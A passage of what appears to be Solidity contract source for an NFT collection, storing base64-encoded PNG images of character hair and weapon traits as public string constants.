gBJj5q6oLtHQtTpxwFw3aT2HeIejUSm8shIkoy1pt0NLkzRGtK9bqfUtfrnGIXy9sjYHulkjBgGxdaSZXSrUuM+YNCylJK3Cr5LQtyHzJZa+/NA6mdFOoZMv0r5cQCsta4/h4CxWcaeOmP9a8zAr1hGxzhwKWeG1IR9EBjidsDs1DoMLP/ATh625LDQPatUDAND3DKQGGUUuBRKzBU0CgyxJWZcL2FYLs5Wc2ZmZmZmZmZm5j+efwF76MI3ZIOWlQAAAABJRU5ErkJggg==";
string public constant hair4 = "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";
string public constant hair5 = "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";
string public constant hair6 = "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";
string public constant hair7 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAASUExURUdwTBcgOBAUHyU6Xjxei0+PulCkV+YAAAABdFJOUwBA5thmAAADRUlEQVRo3u2YS3IjIQxAFU4wQnjfonOAkYUPQIADpBrd/yqziPNxMptpWE3xVq6u8isBQgIAFovFYrFYLBaLxWKxWCz+Jxyj36b6gnU/1ddQ87wQOdhrJJkWosNmpqzzhGJVfYyyAcQ4Y8StZ0xFdg+RZNzoyAqZdcuMqCrb+JJoblatpF2V6j48layhtK6Xri8pY3oZDpEx1VaxmclzFSw8umccVsEcqhWVVJB8HDVyQa+tCl6UEmItoynuBKNY93wxIWzWFeNYjOzZ22sM1Q5MZlZocNe4iNEyt14OTNYRZTQbObJdgyEKspl1Qt0GQ7wc/nL4eCk+mFn2NChEldheObWeuTWzvI9mjnq2l93UDq81VPVxdLf4Z/PBMulVC6OOFh3nMbzGW0fU664+juYNOI8Xz5ZTQR9VvSien0QHABAJPffQETfHKEVkghDzLUcP4CL1MpA3bgMAx+JR33sz324DBeIuJCR5nzh3Kf06sE0AAJiEkN4/haPl08K3zsmiiL/fv+1HyOcD5A0AnJDQ58dCGQDwjC5G3QDAEern/52SAKCcacqFywYAsAtV/FotAPXXiU2cSpD7JApVeVcwXUlPjBieTcNbyjlFoFruEvz8+W8jbl0SXd9a1S94QhIAgCdMVU75nq1IpZe3aQMAQAR4QqrlVHFwe7OSU8obALiPFXhSRT618/ZqNy2p/qwsjk8FmFrpWqj+bHHuVMHmFOiQQrX4KUJHBSVjwvSzspwTJiFBTJL6sf2tpJ2oCoqEVIK16wwhgGMMgklaP+KMRQFwrFVDbmbfMsedbQCOsUoNZt9m8fwh1iGVkFO3x5Di+bYcMUnCW3u8OkY+fxRhKpSpP0yiizzQRVFzxvRNSAM3AaYsGB6EEWXkbIOCSA9CVhy5WrBkehC6vQxdxx2+6oMwJtFTHeBD2JX81yUpVMeErVN82D6pDl3PONjX/0fWk03qa4ifAhep1sH7IwfL/nPEtSoOXvZCOz5CjKQ4/HDFtd3zJkZWhGEcpfv5OjIJTICxTXxMAwDGcJ0qdHS7bnOFJlOFsPfJQr6Vuavi9JgrhD3h3DG70ZeQvz0TzBU6njxmcDw5xMVisVgsFovF4h/5AwTxl30fSn74AAAAAElFTkSuQmCC";
string public constant hair8 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAVUExURUdwTE8zLYVNOtqkdL5yJ+/GffX81wRpHAMAAAABdFJOUwBA5thmAAADV0lEQVRo3u2ZS3LcIBCGkWsOABLjtYXiA8w0eB0Cc4AEoQukxP2PkEaKbfmxgl64XPwrr776m35qzFhTU1NTU1NTU1NTU1NTU1PTd1InBC2vV0pwQuAAAGokNAhZis7iYGIMcOV0BiMqXEdKg5TAbgrIe6QD9tNj/KMUKJFFAVSPUaGEx1R7gnK8UzvP5dqJ0Yp64Is/gFxA1cRnnkMaRBMDr7eYeXqrHphNvFRbHD3KYbfkoJ2Zqy2O3mh/Czpz0SnYWoujW2a/4Tar4GstnswSdx4+ZTZZD0wLvqDfSlGLwdfGfHJLyh63MQbe1negW+5TDG6rG3AYdX3M9yl4k2JaYw7b15Qi34AiaresKa2rxoaGmm7ptpj7wd8SvuSCRtclrBcC4JJWk/5q+bSmKuC27fxldCmFpwgWM57mVFyKOBm2R3T9OQUwWNNufUq/U3E/4+gad+C4gg5gTwbOGWjrgMxZdXa56TwC18taAZz2R0SL2HqWeX1ZwsVswIKG6dDhdX/E37hWMBXODQsMMQPFWAKcwrXPQB96jz0svHWrPt+0ZaLk2umn55PBg+39KLyXJtrBadurkhExxFegR+IvIU63mUuR/yzpkjyw9jRL7Xkn+pH52XbiB5ot4Q0BIp6aD/+BmAdxwnGY7fEiXsR8Xvde2YEYusDMC11UhngJCxMQmNMsj1NVyCKDyJsMYCXKDXgwVWpQKMgG1fgzh3yAnEqA3UVgl8B2KvF3Dk9FEXNsk+m6Aa3o/FwL3Bt51yg6d5yAhUB2AMrbG6Atn9fPwDc3lyw+He4+Bw7l181O5MLHI6PmXPoMiCVffi7dbVsFgZbRAPc1Jb05liHUxLxtZumOQAkaeI3Fj0BfA2TsAYGHV+twv9QB2Uegs7VA/TpfSYD+PbA65PmwASQIXw2Mh4kttaj9sMAF/QbIeT3wMLEHXw+Mb4DVX48ZGOxrlut/eMCQX4CdrDfI2PnokOJHq7MJFL4OW8QFTgrsHHx54EwMNBdSHpOR1iAbiJPMzsQRM8m/OlAQ8xi1waZvqu7LA/sHYoMTMbCfFK1BBeqB1uCVFNhNgJ/ehLwe8m8D1DxBx5sgfyMTJiTzOGHFZHucsgQFJS7/g4d4KtxRb7ivPwibvpf+Abnwx3oqalrHAAAAAElFTkSuQmCC";
string public constant hair9 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAVUExURUdwTBAUH3o2ex4dOUAnUaI+jN+EpY6r79gAAAABdFJOUwBA5thmAAADV0lEQVRo3u2ZS3LcIBCGUXkOABLj/fSA15aI94EwBwgROkCqxP2PkEaKbfmxgl64XPwrr776m35qzFhTU1NTU1NTU1NTU1NTU1PTd1InBC1vMEZwQmAPAGYkNAhZhs5ir2MMcOV0BiMqXEdKg5TAbgrIe6IDDtNT/GMMGJFFATRP0aCEx1R7gnK8MzvP5dqJ0Yp64Is/gFxA1cRnnkMaRB0Dr7eYeWqrHph1vFRbHD3KYbfkoJ2eqy2OXit/Cypz0SnYWoujW2a/4Tar4GstnvQSdx4+ZTZZD0wLvqDfSlGJ3tfGfHJLyh63MQbe1negW+5TDG6rG3AYdX3M9yl4nWJaYw7b15Qi34AiKresKa2rwoaGmm7ptpiH3t8SvuSCRtclrBcC4JJWnf4q+bCmKuC27fxldCmFhwgWM57mVFyKOBm2R3TDOQXQWNNufUi/U3E/4+gad+C4ggpgTxrOGWjrgMxZc3a56TwC18taAZz2R0SL2HqWeXVZwkVvwIKG6dDhdX/E37hWMBXO9Qv0MQPFWAKcwnXIQB8Gjz0svHWrOt+UZaLk2hmm55PBgx38KLyXOtreKTuYkhHRx1egR+IvIU63mUuR/yzpkjyw9jRL5XknhpH52XbiB5ot4fUBIp6aj/+BmAdxwnGY7fEiXsR8Xvde2YEYusDMC1VUhngJCx0QmNMsj1NVyCKDyJs0YCXKDXgwVWpQGMgGzfgzh3yAnEqA3UVgl8B2KvF3Dk9FEXNsk+m6Aa3o/FwL3Bt51yg6d5yAhUB2AMrbG6Atn9fPwDc3lyw+He4+B/bl181O5MLHI6PmXPoMiCVffi7dbVsFgZbRAPc1Jb0+liHUxLxtZumOQAkKeI3Fj0BfA2TsEYGHV+twv9QB2Uegs7VA9TpfSYD+PbA65PmwASQIXw2Mh4ktlaj9sMAF/QbIeT3wMLF7Xw+Mb4DVX48ZGOxrlut/eMCQX4CdrDfI2PnokOJHq7MOFL4OW8QFTgrsHHx54EwM1BdSHpOR1iDriZPMzsQRM8m/OlAQ8xi1waZvqu7LA4dHYoMTMXCYDK1BA+aR1uCVFNhNgJ/ehLwB8m8D1DxBx5sgfyMTJiTzOGHFZHucsgQFJS7/g4d4KtxRb7ivPwibvpf+ATTZxsoVkbqGAAAAAElFTkSuQmCC";
}
contract Weapons1 {
string public constant weapon1 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAnUExURUdwTCAuN+vt6RUdKPZ37TlKUFdydxcgOGAsLIhLKyVWLkEdMUaCMjNbdRYAAAABdFJOUwBA5thmAAACEUlEQVRo3u2YvWrjQBRGbaQujQehKHi3GgxqLQZt2iAEWwuj2doI6wEcbNXpbPICculWpHG3S95g8UPtVdplSbGnSOB+D3A492dGaCYTjUaj0Wg0Go1Go/lsmcG86RkGzgdWcfoysIrzq5mjil/NcEYVzXAdDF0yavhyvv5mS74agwLn5vUVnfL0S//MbvZdf/jgwJvT4cICj4cn9naggZNfPQz8SQPv6EW8OdHA4/ECj5kHwot4goGGBk770wXew54FyuLMPjpQo9Fo/o5jcYEz8g9glhgwM5K4XmGCxvi2rUzEGb7x4gqrORhr9nXNNTHIfNzWdQTO2d8KcAUCb+N2U1fgKuZrAZI1Z2svNc/gJpIlj00kBaVmvSE1mndSPrC80C5YYGEtq1hUW1ax2CWsYpiuWcXQ7mHF4jMoNqxima4SuOZHGri/X5BNDIv9vWWBu2xb4ptYluzeWLvgLsZxb6wEI8qYs67rLHbVylQa50y3xWZdpH7jXJZgJ7C0XdfWQqQUQ/mwCHKVcYpCtN2uSbAjWI7ItCEvRkGmnj2CZbHPE/TakRPzw5KK44nZkorjiUlQxbexkIpl6vOE/AJKE5ua3MWxiXn1+EA2sXVVtkSb6Fy0RJvoMvLlSproVqDgWPM39mkt/N6ggvJvD7/9TQJYUKP5jzjDLnjgI4cSg01uWEfnK4c6Bpsorv7l+AcxQIY534Q/ZgAAAABJRU5ErkJggg==";
string public constant weapon10 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAAC8EZcfAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAABCUExURUdwTDQcJ96eQVdydzlKUGAsLOjBcIhLKxAUHyAuN753K4GXliU6XjxeixcgOE+PunO+0/Hz4ynW4Fbw25HwzKTd20ZmPDcAAAABdFJOUwBA5thmAAAD6klEQVR42u3b23KjMAwGYAwIy4Q0x77/q65kYw6BzCYl2Nqt/ps208zwVT4GnKLQaDQajUaj0Wg0Go1Go9FoNBqNRqPRaDSaXxcAsDEgVNfGSBOyrpeFAoJMHtGccwDSyjfwSOcEjo0pT6wv8NCgVJ8LPhAnjL7a+6w44MSH6IGyhFCWZfTRS2phWSWEsiHh4GOhqBKSj4C2reveR0BRvRCCzw0+Ekrqhb6A7JsCJfXCUEA3LaBvZCklXCugqF64WkBBjRwLuAK0UoBrBZTTCxnIvgWwMDLaOAIdrizQxgho47J8BqQiCpkKwyZwDaifwTUajUaj0fwbebadyR0MYd5yQ4j9O3LiXAj/stjzD3/GTLxwdeAQYiGMaPqJeXhcQQDLO34iRs7MR6/rqqoxA68OPuZdPTEIB+LoqzF1N2TexGdvxtiGhSv/g/e5tEDsCxV81sAdYCnsgVXlfZja55sN+b6vAbh0XfcoxAcgJva5CLze7pfL5X67LmrIwgkQk/pCAR3w4Oi+L9/H7sQ1XDRyAKZs497nJzcXWvj8fT+dj6cTmLIEeBT2gzixrw5rBAEbAp5v59PxeAJfT1xZB9P7XFhF+Magge58PVK6FWDydZhXhcoXMCxyDQO/uhMVsPtaA6ZeP+oIdBMgCSnkM37Jw6zAihN9EQhfFDDBJwPo++EIBAg8mxkYWpiaGPuhzHf3Dcc/pws+EcB+rrbQlMC2Mp7vAGtFAHufhdLY8fxOf5Yno5CBhwhEtpgRNx41yiekMXI4HEZflEHYVYe0GefCCRDHprW0nMQQkB865RLSzuRwqB58A6+0ftHNKRyA7pEXcP49NqMQYwvjzEeTzGRLkFE4dEE3r5+d71jyCQcgzuu3uN9hy7ZpM9zviF1wKOC6Lwgxw3PYCJz2wDUfvbPlk0fJG7kfI+MQtk98vJG2bXrhEmjtUwJVkD7RY3JgNV9EngNJyAcWMD3wtQIW/khF4pHCwPp1YEE+SHrqIwDxVZ8/9NGmFCKPkdcLmF6Ij13w71fm01HJhFi/D/TCVEdnGDjrgi9dNqHQj5E3C5hUuBgjL17UQJNG+Ah8+ZKmbZKMlB8DUwmpD1Y/AyYSYjXdrNq3LkdCu7uQga75GZBHyu7CTUA/lncWbgMmmA/nwPevtLuQn3hsAdIee2/hRiAJ212Fm4FeuONIwco124A7j+UPAPcVfgK464z9ESAJ272+JDEFbrgACXf6wifWHwHyjL3XKPkMcMeZWoFbgf6OpWBggU0USgWWUSgUOAqlAgehWGCBgSgX2BMlA8N5ouL3BNGI/mIW8qkR0V2aD97IFgJY6cL2/xT+ARzCPGhZXebTAAAAAElFTkSuQmCC";
string public constant weapon11 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAAC8EZcfAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAA/UExURUdwTHo2e8ZRl1dyd/Dz40AnUfVuyCAuNxAUHzlKUBUdKOvt6U0rMnpIQf87rf+A0v/C9P/+/4GXljQcJ////7TH4Y4AAAABdFJOUwBA5thmAAAFKUlEQVR42u3aS3PkrA4GYCQhpBf6mpz//1vPAvqSTNJ2z1e2NVXWIoupWTwlCRC0U9pjjz322GOPPfbYY4899thjjz3+wSilvPPfT6v7cs7vCM/JV/e9Jby4+uq+d4RXpYWEP7XazTdTeDpfrv+7Xs6nhXL1J/FNYErJr7RQCrPqn4y/AF54MSCR5u97yrs96HpOC6UwayPSnHM5/YdV7HpKpLwQsDGpaj7//T7oSimx8hIpzEqtMRHr5WuZ3zpJlBOz8hIpLFlbF15fpWxCq4nJiBYCErepnaxM1FsTGWwRYCpZubXW2pVZf2GUqRWjZPiA0UJA4tZauxD9JpwGGuQDsEUOu5KVWmvtTMSafxW+LLFBPhYDjnXSTq0R6285fL1IIPIhABYD9i7kRkT61hj4BMRiwFSyltYaN23f+nDuXmgwM1uqxKlk5ZIb/yEsc08TN/mQxXwplaw6hOlJWGafxw53dyw3U5ecteTWmDU9+nA+MPnBPuuSM3/JSkM4qlzeKXHy4+fhc+FbiFLh1hpra/cNcfbA4J/Hz7r0PUn7kcKqY0N8Y7/xw+fxsPxNTom5NWbNxCOJM5UOOyx+7SwlK40kFhpJnL2MUVe4F5esqkTMXUg6e/B32EpAHqGNeAhnAN2O9bDGy8JDSFqGsMzoQ4cd6ypPH3ch9VrTvD50O9TjWkBiZj4xqeq9yhNCx6HWld6OSlbmxmfuQqI5fejAOi34uAFcepVVu7BMHXR2WCuDI4VXZma9C6eAOK7mSyXf76BESqrTQMdaS+RR5GtrzESqpDwp9MN6LXgr8qW1xsyqpNPCVVtwpPDcpwZSJaXCE8A1W3AIT8zcWmNSUuXyOoW+agveR0Nm5tb7cAq4zqTwdTIcxNZYp2rsAA6rA4lGEkmVXqfQjzisn0HinkOaAcSx1tV/ZxrCcdwVfiH0w9qreEz/twrrxDp2t7V9T3PXyOHLDN7/rC6km/AlMG0GVKK+Toj+9l1u6RveLYgjA4koMLCXl0tM4Og+5sJhm5CIqJQ+d+VwwpxvyPHnV2HdRljKMzIe8Ak5FvTvwLpprcsUsG4LnP5EYHNgKj1+679atya+SGA1gdmmQL/FzwmEdOF2OpiZmTt+NFYz27DELiICGMzsx98zqwFmtZptInQI7mFmwLckVoMAmwEd0jMoIhABeq2/+kRQq20C9IGSR3TilwKLyHYllpRSugkB9BVrj9VSq6GncMt90AD3Xm5AYP6URdRq2Bro5mPDEQHgY9vxm7Bu7BvAlFInugEwv2UR1bY+6PyxLNwhd+D452obTwr+5WsJhxsMBjeYe9o+7NvXHO4GkwGMQPxOeAI+dWKkcDMR9LXiFlMoT4sZ8YRuIhB4YKAJDA7AXWARhTCDw+AukJjrxOAwcxeJCEzu1s8Sh8AjCpO795lBEHIzvHWiuVjMzTCl5ICZw90QU+j9xBs7dsgUigi8A2Om8D6/hk0hzM0EEhWY3M3QgUGFqQPFPCrQDSIiFnW3TqPG5hbjhvKz0PpoHVY4gIGFNs5lD0r0fhxb3LEhufVnr6hjwx2IwIMNpGcwptBNRMzMTWIK3fprsRskaApvr8MmEjSFXRg4hXehCIIu5D63Wtjx9SEMewGw/iMFLOwFoCcvLrDPhv7t97JolyiEBo57XmRgfxEJLRwDQ+Aim/SpKzQQQGAgJLJvXOXj+sZ2nVJsYYodnvbYY4899vi3IurT69Ntrz8Qx52/JOpXQPcBUYJ+wvLvCNF/cXwT+H/DITzit2ppeAAAAABJRU5ErkJggg==";
